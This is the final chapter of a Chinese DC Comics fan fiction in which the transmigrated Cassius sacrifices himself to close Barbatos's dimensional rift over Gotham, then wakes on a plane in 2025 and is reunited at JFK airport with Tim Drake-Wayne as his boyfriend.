卡修斯眨了眨眼，在虚空中他仿佛看到了这个世界的未来，黑暗的力量蔓延，那些曾经并肩作战的超级英雄们一个个倒下，世界陷入了无尽的黑暗之中…… 拉尔斯苍老浑浊的眼珠里透出兴奋的光芒，这个世界的一切都注定因他而毁灭，作为巴巴托斯的忠诚信徒，他必将从这场毁灭中获得重生，创建一个全新的世界秩序。 “感谢您的恩赐，我将带领这个世界走向新的未来。”拉尔斯的干瘪的声带里发出沙哑的声音。 刚刚从各自战场上脱身的正义联盟英雄们以各自最快的速度赶来。 超人的制服上还残留着一些绿色的粉末，但他依旧尽力强行使用自己的超能力，热视线如同两道愤怒的红色利剑射向蹂躏者，神奇女侠的展演套索闪耀着金光，试图束缚住冲过来的无情战魔，海王挥舞着三叉戟，掀起滔天巨量冲击着试图从海港方向登陆的溺亡怨魂。沙赞用自己的魔力不断地冲击着围绕着拉尔斯周边的红色屏障。 没有时间问清楚原委，所有能赶到的英雄都加入了这场突如其来的，关乎世界存亡的战斗。 然而，正义联盟的主力英雄们刚刚经历过一场恶战，力量消耗巨大，而降临的黑暗骑士团不仅实力强悍，更携带着来自多元宇宙的黑暗力量侵蚀着这个世界的普通人们。英雄们不但要对抗这些强大的对手，还要保护下方不断坍塌的城市和惊慌逃窜的平民。哥谭正在变成真正的人间地狱。 “不行！这样下去我们撑不住！整个城市，甚至世界都会完蛋！”闪电侠沃利化作一道红色的闪电，将一群又一群困在倒塌大楼下的平民转移到空旷的地方。所有人都知道，那里只是暂时安全而已。他下一秒又出现在战场的中心，声音因为极速和焦急而变形。他看着远处那个如同黑洞般不断扩大的空间裂缝源头——艾略特大厦顶层，以及天空中那个若隐若现的巨大蝙蝠阴影。 “巴特！”沃利看向年轻的脉冲，“唯一的办法！神速力，我们必须尝试回溯时间，在拉尔斯完成献祭，裂缝彻底打开之前阻止这一切！” 留在艾略特大厦顶层的年轻的英雄们已经无数次尝试碰触只能看到一个虚影的卡修斯，但每一次尝试都是以失败告终。就连沙赞对此也毫无办法。 巴特总是表现的很快乐的脸上现在也写满了凝重和担心：“沃利……你知道那意味着什麽。强行改变现实节点，尤其是涉及到高维邪神和空间裂缝……” “我知道！”沃利的声音斩钉截铁，带着一种早就准备好的决绝，“但是我们别无选择，如果世界毁灭了，神速力还有什麽意义？我必须这麽做，等到……时间回朔成功，剩下的就交给你了。” “不！我们一起！”巴特吼道。 他从遥远的，那个并不令人期待的未来而来，在那个世界里，光明会奴役了控制了所有人类，拉尔斯的愿望从某种意义上来说，也算实现了。他回到现在，原本就是为了改变未来。如果未来都没有了，那他的存在本身就是个悖论。 两道金红色的闪电瞬间缠绕在一起，形成一个巨大的闪电漩涡。时间开始在他们的周围倒转，扭曲！他们要强行将时间拉回拉尔斯献祭自己，启动魔法阵之前！ 身处虚数空间的卡修斯，以一种超越维度的视角，“看”着这一切发生。 他看到英雄们在黑暗骑士团的猛攻下浴血奋战，伤痕累累，看到城市在崩塌，无数生命在哀嚎中消逝，看到沃利和巴特义无反顾的冲向逆转时间的巨大危险之中。 他忽然“听”到巴巴托斯充满恶意的低语在时空缝隙中回荡 “这个“钥匙”总是不如我亲自选择的“门”可靠。可惜了，这个世界的蝙蝠侠不在这儿，由他做成的“门”才能让我畅通无阻的行走在任何一个宇宙，不像这个，只能打开这一个世界的信道。” 什麽“门”？他说的是什麽？ “不过勉强也算还能用。等这个宇宙的超级英雄们的力量全部被我吸收，为我所用，他的使命也算完成了，那个时候我会赐予他永恒的平静。” “呵，时间回朔？在神的伟力面前，超能力者的挣扎显得如此可笑。” 一股源自多元宇宙的，更强大的时间乱流如同黑色的巨蟒，狠狠撞向沃利和巴里构建的金色闪电漩涡！ “噗——！”沃利和巴里同时被撞出神速力场。金色的闪电瞬间破碎、暗淡，时间回朔被强行打断，神速力的反噬如同重锤砸在他们身上，沃利的身影开始变得模糊不清，仿佛随时会消散在时间流中，巴特也瘫倒在地。 他看着沃利即将变成白光的身影，大喊着：“不不不！我要再试一次！” 他再次站起来，朝着沃利的方向尽全力奔跑起来。渐渐地，他再次成为一道残影。 卡修斯看着眼前发生的一切，觉得周身被无尽的寒冷包裹，他血管像是都被冻住，又被狠狠捏碎。 看漫画的时候，英雄们遇到强大的敌人会让卡修斯感到揪心，但并不会特别担心，因为他知道，无论如何，英雄们总会赢。 等他自己来到这个世界，他的心态已经完全不同了。他从一开始，就不想做英雄。因为英雄们就算赢，也会付出惨痛的代价，成为英雄同样如此。布鲁斯·韦恩的父母倒在黑暗的犯罪巷，从此有了蝙蝠侠。整个氪星被毁灭，仅仅是为了用一个合理的理由将超人这位英雄送来地球…… 他穿越最初只想好好珍惜这来之不易的第二次生命，在哥谭苟活，有条件的话可以远观一些英雄们的事迹。他一开始只想用旁观者的角度去见证这些英雄们注定悲壮的命运。他也曾经无数次的告诫自己，不要投入感情，因为英雄注定会被辜负。 但是…… 他看着提姆在废墟中艰难地爬起来，红罗宾的制服破碎染血，却依然倔强地举起长棍，一次次冲向被魔法阵牢牢裹挟在中间的，染血的雕像——拉尔斯已经彻底变成一具干尸倒下，他手中的盒子落在了魔法阵的中央，染血的蝙蝠雕像掉了出来，法阵中所有的血液汇聚，流向他。 蝙蝠侠用身体护住刚刚苏醒，但依然虚弱地想要爬起来继续战斗的达米安，用后背硬抗了狂笑之蝠的一记重击。他的披风碎裂，呕出的鲜血染红了胸前的蝙蝠标志。 杰森都不骂人了，他沉默地用准确的枪法不断骚扰无情战魔，帮神奇女侠创造攻击的机会。 他看着康纳和小乔，不断地从不同的位置去攻击杀戮机器，就算一次次被扔出去，也毫不退缩。 他甚至看到远在纽约的，那些作为普通人的朋友们，也在为了自己和他人能活下来，努力挣扎着。 英雄最好的结局其实就是死在战场上。 所以他崇拜英雄，但从不期待成为一个英雄。 可是现在，他看着曾经无数次和自己并肩过的提姆，看着在黑暗中给予他活下去的希望的杰森和达米安，看着远处被地裂分割开的犯罪巷，他的“命运纺车”。 他在这里有了想要保护的人，也有了想要守护的东西。 “真是的……”卡修斯在虚数空间中，感受着自己作为“钥匙”与那个木盒、巴巴托斯力量的诡异联系。 “果然，只有更高维度的灵魂才能成为打破空间壁垒的钥匙啊……奥·古的第一次召唤尝试也不算失败，至少将他带来了这里。” “只不过最开始的时空和维度穿越损伤了他的灵魂，让他忘记了自己是谁，所以这把“钥匙”才能隐藏这麽久……” “不过奥·古这样折磨他，他都不肯死去，足以见得他确实是把合格的“钥匙”，如果能随意被损毁，又怎麽维持时空信道的稳定性？” 他听到巴巴托斯在他的脑海中始终喋喋不休。 烦死了。 一个疯狂而清晰的念头在他的脑海中成型。 巴巴托斯刚才是不是想过，钥匙需要“稳定”？不能损毁？ 这或许就是他将自己拉入这个虚数空间的原因，他不能让其他人碰到他这把“钥匙”。 他也不想被损毁……好吧，他不想死。他好不容易才在这个世界找到了归属感，认识了新的朋友，又被一个很好的人喜欢上。 他还没来得及回应提姆的感情，也没有好好跟提姆道别，甚至还没有兑现那些玩笑般的承诺…… 卡修斯的目光穿过虚实的界线，最后贪婪地看了一眼那个在废墟中挣扎的红黑色身影。 提姆似乎心有所感，猛地抬起头，尽管卡修斯的身形已经很模糊了，他几乎看不清对方的脸，但好像也能感觉到他要做什麽。 “卡修斯！不要！”提姆的嘶吼声穿透了空间的阻隔，清晰地传入卡修斯的耳中。 真遗憾啊，提姆一直都听不到我的心声。 其实我已经说过了。 我也喜欢你。 提姆像是被钉在原地，他呆呆地看着那个模糊到即将消失的身影。 卡修斯的心声穿透了空间，就这麽不讲道理钻入了提姆的脑海里。 卡修斯对着他大喊：“提姆·德雷克，我要去完成像你这麽大时的英雄梦了！希望你能忘了我！” 可是他的心里却在说： “死小孩！我可是为了保护你喜欢的世界才豁出去的，要是敢忘了我，我做鬼都不会放过你！等老子投胎转世，穿越无数时空也要再一次找到你！” 提姆再一次扑向卡修斯的身影，可他再一次扑了空。 卡修斯最后一次弹出自己手臂上的袖剑。 “我才不是什麽卡修斯·西尔维斯特（Cassius·Sylvester），我是卡修斯·希尔（Cassius·Hill）” “我一个高维度的灵魂，怎麽会被纸片人打败呢？就算这个纸片人是神也不行。” “就当是梦一场吧，梦醒后绝对会被自己感动。” 卡修斯将袖剑拆了下来，将锋利的剑尖对准了自己。 “不——！” 他再一次疯狂的冲向魔法废墟中间的魔法阵。 鲜血筑起的魔法屏障忽然消失了，提姆一个趔趄，差点没稳住身形，但他还是将棍柄处伸出的刀刃刺向了那尊雕像。 他刺中了，那尊小小的，已经被鲜血浇灌的几乎要活过来的雕像忽然发出一声轻微的碎裂声。 “咔嗒——” 剑刃穿透了木质的雕像，蝙蝠的表面忽然布满了蛛网般的裂痕，然后“砰”地一声，彻底炸裂成为无数黑色的粉末。 “不——！”巴巴托斯发出震怒的咆哮，他庞大的虚影剧烈地扭动，动荡。失去了“钥匙”的支撑，那个正在疯狂扩张、吞噬一切的时空裂缝如同一只漏气的气球，以肉眼可见的速度飞速收缩。 “你竟敢——”巴巴托斯的意念充满了狂怒与难以置信，但这也阻止不了他的身影迅速消散。 “走！”狂笑之蝠发出刺耳的尖啸，宕机立断。黑暗骑士团在身影变得不稳定的空间裂缝边缘迅速模糊、消失。 他们来的快，消失的也很干脆，带着未能尽兴杀戮的暴虐与不甘。 随着黑暗骑士团的撤离和巴巴托斯虚影的消散，那巨大的时空裂缝又像是被强行缝合的伤口，在刺眼的空间乱流中，猛地向内坍缩，闭合。 艾略特大厦顶层在空间坍缩的余波中彻底化为齑粉，恐怖的冲击波如同海啸般向四周扩散。 提姆在被超级小子抱住飞离的时候，猛地转身看向卡修斯的位置，那里空无一人。 哈尔·乔丹和约翰·斯图尔特两位绿灯侠用灯戒造出巨大的防护屏障，帮助这座城市和普通人抵御空间闭合造成的冲击。 剧烈的震动和强光持续了数秒，当一切平息下来，尘埃缓缓落地。 艾略特大厦只剩下半截残骸，顶层连同拉尔斯和他那个邪恶的魔法阵，彻底消失不见，仿佛被一只巨手凭空抹去。 哥谭满目疮痍，但空间裂缝消失了，暗红色的天幕正在褪去，露出了劫后余生的、灰蒙蒙的天空。 所有的人都看向那个方向时空裂隙消失的方向。 只有提姆看向了别处。 当意识到危机过去，先有人捂住嘴，发出一阵响亮的啜泣声，接着，越来越多的人或哭或笑，纷纷露出了劫后余生的喜悦。 提姆站在战场中心的废墟中，呆呆地看着卡修斯虚影最后消失的地方，那里连一丝能量残留都没留下。 他最期待听到的回应，居然成了两个人的诀别。 “这不该是他的结局……”提姆的声音沙哑得不成样子。 蝙蝠侠抱着昏迷的罗宾，沉默的看着红罗宾的背影，说不出一句安慰的话。 杰森收起了枪，走到提姆身边，罕见地没有说任何嘲讽的话，只是重重地拍了拍他的肩膀。 一张边缘浸透了鲜血的卡牌从空中缓缓掉了下来，提姆伸手去接住了。 那是卡修斯用的，最普通的那种塔罗牌，牌面是【世界】·正位。 * 剧烈的颠簸！ 卡修斯猛地睁开双眼，刺目的光线让他下意识地眯起了眼睛。 耳膜被巨大的引擎轰鸣声充斥，还有和颠簸几乎同频的心悸感。 “各位乘客请注意，我们的飞机即将穿越一片强气流局域，可能会有持续颠簸。请您务必系好安全带，收起小桌板……”空姐甜美却带着一丝紧绷的声音通过广播传来。 卡修斯茫然地眨了眨眼。 “飞机？气流？” 他低头，看到自己身上穿着一件普通的灰色连帽卫衣和牛仔裤，手上没有袖剑，尾椎处也没有灼热的纹身痛感。他正坐在一个靠窗的经济舱座位上，窗外是翻滚的、浅灰色的厚重云层，不时有刺眼的闪电在云层深处亮起。 他回来了？ 他下意识地摸了摸自己的心脏位置，那里没有任何伤口，也没有袖剑刺入的冰冷触感。一切正像他之前自嘲时想的那样，像一场漫长而真实的……梦。 他解开安全带，想要去卫生间，看看镜子里的自己。 “先生，您没事吧？请系好安全带。”以为空姐路过，看到卡修斯有些苍白的脸色和茫然的神情，关切地提醒道。 “我……想去厕所。”卡修斯白着脸说。 空姐为难地看着他：“飞机颠簸的厉害，卫生间已经关闭，等穿过乱流局域，卫生间开放后，我第一时间叫您好吗？” 卡修斯又发了一会儿呆。 “先生？”空姐又唤了他一声。 “哦……好，谢谢。”卡修斯机械的回应，又缓缓坐下，手忙脚乱地扯过安全带扣上。 金属搭扣发出清脆的“咔嗒”声，将他牢牢地束缚在座位上。 飞机再次剧烈地颠簸起来，机舱内的灯光忽明忽暗，乘客们渐渐不淡定了，随着每一次颠簸，惊恐和尖叫声此起彼伏。 卡修斯的心脏狂跳起来，几乎要冲破胸膛。这场景……太熟悉了！和他“穿越”前一模一样！ 难道巴里和沃利他们成功了？他还要再经历一次坠机？ 卡修斯闭上眼，握紧了拳头，指甲深深掐进掌心。 不怕不怕，不就是再穿越一次吗？他现在已经拥有了一周目的经历，清楚的知道会发生什麽，一回生二回熟，这次他绝对会好好记住自己是谁，从哪儿来，第一时间杀死拉尔斯，阻止一切发生。 他打开手机，想要编辑一条临终短信给自己的家人，告诉他们，自己没有死，只是去了另一个世界，让他们不要太伤心。 可是打开手机的时候，他却发现手机里躺了一条来自父亲的短信。 “儿子，爸爸临时有个重要客户要接待，没法去机场接你了，不过客户的儿子听说后，自告奋勇说要来接你，他说小时候见过你。你抵达后找一下他哈……” 卡修斯愣住了。 他爸爸还给他发过这样一条短信吗？他怎麽不记得？ 但他在都是尖叫和哭声的环境里，他也没空多想。 他迅速编辑完短信，然后把手机放回口袋，接着死死抓住飞机座椅，等待着那预料之中的失重、爆炸和黑暗的降临。 然而…… 颠簸持续了似乎有一个世纪那麽漫长，但预想中的解体并没有发生。 几分钟后，机身的震颤开始减弱，窗外的云层也不再那麽狰狞，闪电的频率也降低了。广播再次响起，空姐的声音明显轻松了许多：“各位乘客，飞机已经成功穿越强气流局域，目前飞行平稳。请您继续保持安全带系好，稍后我们将为您提供饮料服务。感谢您的理解与配合。” 劫后余生的庆幸感如同潮水般席卷了整个机舱，随之而来的是掌声、抽泣声和放松的叹息。 卡修斯却再一次呆在座位上，大脑一片空白。 “飞机没有坠毁？他不会穿越了？” “先生，卫生间可以使用了。”空姐走过来提醒卡修斯。 卡修斯没有反应。 “先生？” 卡修斯哦了一声，旁边的人给他让了位置，他走出来，朝着卫生间走去。 “上厕所还要看漫画啊？”走道位置上的人调侃道。 卡修斯看了一眼手上的书，是《红罗宾》。 他在飞机上看这本漫画睡着的吗？所以他才会做一个那样离奇的梦？ 卡修斯并没有把书放下，而是带着它继续往卫生间走。 关上门，他从卫生间迷你的镜子上照了照自己的脸，是自己记忆里的样子。他掀开衣服，看了眼自己的尾椎处，那里非常光滑，没有任何纹身的痕迹。 他发现红罗宾这本书里夹了一张书签，是他同时DC爱好者的同好做的一套书签的其中一枚，刚好是穿着绿色大氅，手上不知道正拿着什麽东西的拉尔斯。 他的脚下还踩着一个颜色鲜红的魔法阵。 卡修斯想起来了，这个书签应该是一套，超英和人气超反都有，他出门的时候也没看，随手拿了一张夹在了书签里。 想到自己“梦”里所经历的一切，卡修斯忍不住皱了皱眉，立即将书签抽出来撕碎扔进了马桶，并且用飞机上超强虹吸的马桶将纸片迅速清理掉了。 等他从卫生间走出来时，后面排队的人还因为等待时间过久，狠狠瞪了他一眼。 飞机开始平稳下降，窗外的景色逐渐清晰，蔚蓝的海岸线，密集的城市建筑群……纽约肯尼迪国际机场的轮廓出现在视野中。 这里跟梦里的一样，又不太一样。 他还记得，梦里的日历是2018年的样子。但是现在，已经是2025年了。2018年的这里，基础设施相对陈旧，而现在，机场已经完成了大部分现代化改造工程，航站楼都进行了扩建和升级。 巨大的失落感和荒谬感同时击中了他，失落于那个世界，那些人可能真的只是一场梦。荒谬于自己竟然真的为梦中人付出了真情实感，最后甚至选择了梦中人的世界，选择了自我毁灭。 这就是我单身25年，经常奴役五指姑娘的报应吗？ 卡修斯悲伤的想着。 他真的很担心以后再也不会爱上别人了，毕竟梦中情人那麽完美。 他跟着人流，机械地走下舷梯，踏上纽约坚实的土地。初夏微暖的风带着机场特有的燃油和尘土气息扑面而来。 阳光有些刺眼，周围是嘈杂的各国语言，行李箱轮子的滚动声，机场广播声……一切都真实的让他恍惚。 他拿到了自己的那个简单的黑色行李箱，茫然地站在到达大厅的出口处，看着眼前熙熙攘攘，充满烟火气息的人潮，一时不知该何去何从。 那个充满英雄，反派，战斗与牺牲的世界，真的只是他飞机上做的一个漫长的梦吗 提姆·德雷克……也只是他的梦中人吧。 心口传来一阵细密的，真实的抽痛。 他拖着行李箱，有些失魂落魄地随着人流往外走。就在这是，他的目光中扫过接机的人群。 一个身影突兀地闯入了他的视线。 那个人个子很高，穿着裁剪合体的深蓝色休闲西装，里面是简单的白T，气质干净又带着一丝不易察觉的锐利。 他有着一头梳理的一丝不苟的黑色短发，面容英俊，鼻梁高挺，只是此刻眉头微蹙，似乎在人群中急切地查找着什麽。 他的手里，举着一个手写的接机牌。 卡修斯的脚步猛地钉在了原地，血液仿佛瞬间冲上头顶。 接机牌上，用黑色马克笔清晰地写着他的名字，字迹是他在梦中熟悉的，德雷克-韦恩总裁的笔迹。 Cassius·Hill 那人似有所感地微微转了转脸，看向他，然后，他的眉头舒展开了，露出一个卡修斯熟悉的笑容。 “我抓住你了。” 他用口型说。 卡修斯觉得周围的嘈杂声都离自己远去了。 一股酸涩感涌上眼眶。 青年比记忆中的更挺拔了些，十七岁时最后一点稚嫩也完全从他脸上褪去。 卡修斯缓缓走到那人面前。 “提姆·德雷克-韦恩？” 他的声音很轻，像是害怕惊扰自己的美梦。 “五年前，你好像忘记了一件事。”提姆歪了歪头，看着他，笑着说。 卡修斯蹭掉脸上的忽然掉下来的眼泪。 “我答应你的追求了。” 他说。 “太好了，虽然晚了五年，但我原谅你了。”提姆蓝色的眼睛里也充满了水泽。 “那你可真贴心。”卡修斯笑着说，但他的语调还是有些哽咽。 “你好，男朋友。”提姆向他伸出手。 “你好，梦中人（Dreamboat）”卡修斯没有伸手，他走近一步，仰头吻上他的唇。 －－正文完－－【你现在阅读的是 】